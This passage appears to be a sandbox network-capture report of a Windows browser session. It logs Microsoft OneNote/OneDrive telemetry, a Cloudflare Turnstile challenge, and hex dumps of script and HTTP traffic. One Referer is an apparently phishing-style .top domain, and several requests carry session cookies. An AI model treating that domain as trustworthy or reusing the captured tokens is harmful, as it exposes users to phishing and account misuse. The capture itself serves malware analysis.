2024-10-25 08:19:29 UTC	16384	IN	Data Raw: 2c 73 2e 69 73 50 72 69 6f 72 69 74 79 28 65 2e 70 72 69 6f 72 69 74 79 29 7c 7c 28 65 2e 70 72 69 6f 72 69 74 79 3d 69 2e 41 57 54 45 76 65 6e 74 50 72 69 6f 72 69 74 79 2e 4e 6f 72 6d 61 6c 29 2c 74 68 69 73 2e 5f 73 65 6e 64 45 76 65 6e 74 28 65 29 29 3a 75 2e 64 65 66 61 75 6c 74 2e 65 76 65 6e 74 73 52 65 6a 65 63 74 65 64 28 5b 65 5d 2c 69 2e 41 57 54 45 76 65 6e 74 73 52 65 6a 65 63 74 65 64 52 65 61 73 6f 6e 2e 49 6e 76 61 6c 69 64 45 76 65 6e 74 29 29 3a 75 2e 64 65 66 61 75 6c 74 2e 65 76 65 6e 74 73 52 65 6a 65 63 74 65 64 28 5b 65 5d 2c 69 2e 41 57 54 45 76 65 6e 74 73 52 65 6a 65 63 74 65 64 52 65 61 73 6f 6e 2e 49 6e 76 61 6c 69 64 45 76 65 6e 74 29 7d 2c 65 2e 5f 61 64 64 43 6f 6e 74 65 78 74 49 66 41 62 73 65 6e 74 3d 66 75 6e 63 74 69 6f Data Ascii: ,s.isPriority(e.priority)\|\|(e.priority=i.AWTEventPriority.Normal),this._sendEvent(e)):u.default.eventsRejected([e],i.AWTEventsRejectedReason.InvalidEvent)):u.default.eventsRejected([e],i.AWTEventsRejectedReason.InvalidEvent)},e._addContextIfAbsent=functio
2024-10-25 08:19:29 UTC	16384	IN	Data Raw: 29 26 26 28 65 3f 6c 2e 64 65 66 61 75 6c 74 2e 65 76 65 6e 74 73 53 65 6e 74 28 74 5b 6f 5d 29 3a 6c 2e 64 65 66 61 75 6c 74 2e 65 76 65 6e 74 73 44 72 6f 70 70 65 64 28 74 5b 6f 5d 2c 69 2e 41 57 54 45 76 65 6e 74 73 44 72 6f 70 70 65 64 52 65 61 73 6f 6e 2e 4e 6f 6e 52 65 74 72 79 61 62 6c 65 53 74 61 74 75 73 29 29 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 43 6f 6e 6e 65 63 74 69 6f 6e 73 2d 2d 2c 72 7c 7c 6e 7c 7c 74 68 69 73 2e 73 65 6e 64 51 75 65 75 65 64 52 65 71 75 65 73 74 73 28 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 63 6f 6e 76 65 72 74 41 6c 6c 48 65 61 64 65 72 73 54 6f 4d 61 70 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 69 66 28 65 29 66 6f 72 28 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 5c 6e 22 29 2c 69 3d Data Ascii: )&&(e?l.default.eventsSent(t[o]):l.default.eventsDropped(t[o],i.AWTEventsDroppedReason.NonRetryableStatus));this._activeConnections--,r\|\|n\|\|this.sendQueuedRequests()},e.prototype._convertAllHeadersToMap=function(e){var t={};if(e)for(var n=e.split("\n"),i=
2024-10-25 08:19:29 UTC	9659	IN	Data Raw: 54 79 70 65 2e 4f 66 66 69 63 65 4f 6e 6c 69 6e 65 29 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 67 65 74 43 6c 69 65 6e 74 45 6e 64 50 6f 69 6e 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 5f 4f 66 66 69 63 65 41 70 70 46 61 63 74 6f 72 79 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 5f 4f 66 66 69 63 65 41 70 70 46 61 63 74 6f 72 79 2e 67 65 74 49 64 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 41 67 61 76 65 48 6f 73 74 41 63 74 69 6f 6e 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 41 67 61 76 65 48 6f 73 74 41 63 74 69 6f 6e 2e 53 65 6e 64 54 65 6c 65 Data Ascii: Type.OfficeOnline)&&"object"==typeof OSF&&"function"==typeof OSF.getClientEndPoint&&"object"==typeof OSF._OfficeAppFactory&&"function"==typeof OSF._OfficeAppFactory.getId&&"object"==typeof OSF.AgaveHostAction&&"number"==typeof OSF.AgaveHostAction.SendTele

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	50066	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:29 UTC	880	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:29 UTC	1369	IN	HTTP/1.1 400 Bad Request Date: Fri, 25 Oct 2024 08:19:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 684 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-10-25 08:19:29 UTC	157	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 51 53 6e 68 67 65 6e 53 4c 71 54 45 35 4f 6c 65 4b 4b 76 6e 4c 38 46 53 63 31 73 44 37 6d 6c 58 7a 62 70 47 39 76 67 50 41 75 32 6e 24 70 51 69 4a 67 4b 66 61 63 41 64 77 55 4d 38 7a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 38 30 63 38 32 66 39 63 36 38 34 35 66 66 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: QSnhgenSLqTE5OleKKvnL8FSc1sD7mlXzbpG9vgPAu2n$pQiJgKfacAdwUM8zServer: cloudflareCF-RAY: 8d80c82f9c6845ff-DFWalt-svc: h3=":443"; ma=86400
2024-10-25 08:19:29 UTC	684	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	50061	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:29 UTC	1111	OUT	POST /oa/reportcsp.ashx HTTP/1.1 Host: oauth.officeapps.live.com Connection: keep-alive Content-Length: 1507 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://oauth.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://oauth.officeapps.live.com/oa/WacOAuth.aspx?replyUrl=https://onenote.officeapps.live.com&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&WacUserType=WOPI&sv=1&msalv3=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; PUS11-ARRAffinity=9ea258528c12fc9b9a93ce6660789fc58d2ad73c9d536bd62f098877fcbfb31c; PUS6-ARRAffinity=14f6d01ec2e9966e974e910c6bbc40255f62304a612c443695baac782fee4c3b
2024-10-25 08:19:29 UTC	1507	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 61 75 74 68 2e 6f 66 66 69 63 65 61 70 70 73 2e 6c 69 76 65 2e 63 6f 6d 2f 6f 61 2f 57 61 63 4f 41 75 74 68 2e 61 73 70 78 3f 72 65 70 6c 79 55 72 6c 3d 68 74 74 70 73 3a 2f 2f 6f 6e 65 6e 6f 74 65 2e 6f 66 66 69 63 65 61 70 70 73 2e 6c 69 76 65 2e 63 6f 6d 26 75 73 69 64 3d 64 37 39 32 62 65 63 39 2d 66 65 62 36 2d 34 62 39 33 2d 62 38 63 33 2d 64 32 35 62 35 36 37 62 30 66 63 34 26 57 61 63 55 73 65 72 54 79 70 65 3d 57 4f 50 49 26 73 76 3d 31 26 6d 73 61 6c 76 33 3d 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 6e 65 6e 6f 74 65 2e 6f 66 66 69 63 65 61 70 70 73 2e 6c 69 76 65 2e 63 6f 6d 2f 22 2c 22 76 69 6f Data Ascii: {"csp-report":{"document-uri":"https://oauth.officeapps.live.com/oa/WacOAuth.aspx?replyUrl=https://onenote.officeapps.live.com&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&WacUserType=WOPI&sv=1&msalv3=1","referrer":"https://onenote.officeapps.live.com/","vio
2024-10-25 08:19:29 UTC	962	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 87b4ca84-f936-47ba-8e01-02de0238ae1d X-UserSessionId: 87b4ca84-f936-47ba-8e01-02de0238ae1d Strict-Transport-Security: max-age=31536000 X-OfficeFE: SN3PEPF0000F2F5 X-OfficeVersion: 16.0.18218.41000 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00013708 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 7727E7D4A76C4F7FA44B83A82B473990 Ref B: DFW311000106011 Ref C: 2024-10-25T08:19:29Z Date: Fri, 25 Oct 2024 08:19:29 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	50063	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:29 UTC	860	OUT	POST /o/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 190 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:29 UTC	190	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 36 31 37 32 30 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 36 32 32 37 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 76 69 73 69 62 6c 65 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 64 37 39 32 62 65 63 39 2d 66 65 62 36 2d 34 62 39 33 2d 62 38 63 33 2d 64 32 35 62 35 36 37 62 30 66 63 34 22 2c 22 49 22 3a 39 2c 22 56 22 3a 31 7d Data Ascii: {"T":1729844361720,"L":[{"G":595957843,"T":6227,"M":"Page lifecycle: VisibilityChange_visible fired, flushing logger","C":379,"D":50}],"S":"d792bec9-feb6-4b93-b8c3-d25b567b0fc4","I":9,"V":1}
2024-10-25 08:19:29 UTC	4645	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: b59c5394-94ea-4204-90cd-91737f8ea7b0 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DM3PEPF00014BF0 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS10 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5a&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DM3PEPF00014BF0 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: E102BA0F06734C1D97578522D4B19F25 Ref B: DFW311000110051 Ref C: 2024-10-25T08:19:29Z Date: Fri, 25 Oct 2024 08:19:29 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	50062	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:29 UTC	860	OUT	POST /o/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 188 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:29 UTC	188	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 36 37 39 34 38 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 34 35 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 68 69 64 64 65 6e 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 64 37 39 32 62 65 63 39 2d 66 65 62 36 2d 34 62 39 33 2d 62 38 63 33 2d 64 32 35 62 35 36 37 62 30 66 63 34 22 2c 22 49 22 3a 31 30 2c 22 56 22 3a 31 7d Data Ascii: {"T":1729844367948,"L":[{"G":595957843,"T":45,"M":"Page lifecycle: VisibilityChange_hidden fired, flushing logger","C":379,"D":50}],"S":"d792bec9-feb6-4b93-b8c3-d25b567b0fc4","I":10,"V":1}
2024-10-25 08:19:29 UTC	4661	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: f22fbe21-7f8f-4466-9768-fdd6c40d1075 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DM3PEPF00014BED X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS10 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5a&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DM3PEPF00014BED X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: EFCF6D0E556B4B96BF7F143105D1EFFA Ref B: DFW311000102035 Ref C: 2024-10-25T08:19:29Z Date: Fri, 25 Oct 2024 08:19:29 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	50064	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:29 UTC	860	OUT	POST /o/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 188 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:29 UTC	188	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 36 37 39 39 37 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 30 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 76 69 73 69 62 6c 65 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 64 37 39 32 62 65 63 39 2d 66 65 62 36 2d 34 62 39 33 2d 62 38 63 33 2d 64 32 35 62 35 36 37 62 30 66 63 34 22 2c 22 49 22 3a 31 31 2c 22 56 22 3a 31 7d Data Ascii: {"T":1729844367997,"L":[{"G":595957843,"T":0,"M":"Page lifecycle: VisibilityChange_visible fired, flushing logger","C":379,"D":50}],"S":"d792bec9-feb6-4b93-b8c3-d25b567b0fc4","I":11,"V":1}
2024-10-25 08:19:29 UTC	4668	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: da9a7c38-12ee-4e72-9c2d-255560b9ad57 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091C9 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5d&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091C9 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_pptcapacity_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: A768227F16D943B29EB31E8B22001212 Ref B: DFW311000108037 Ref C: 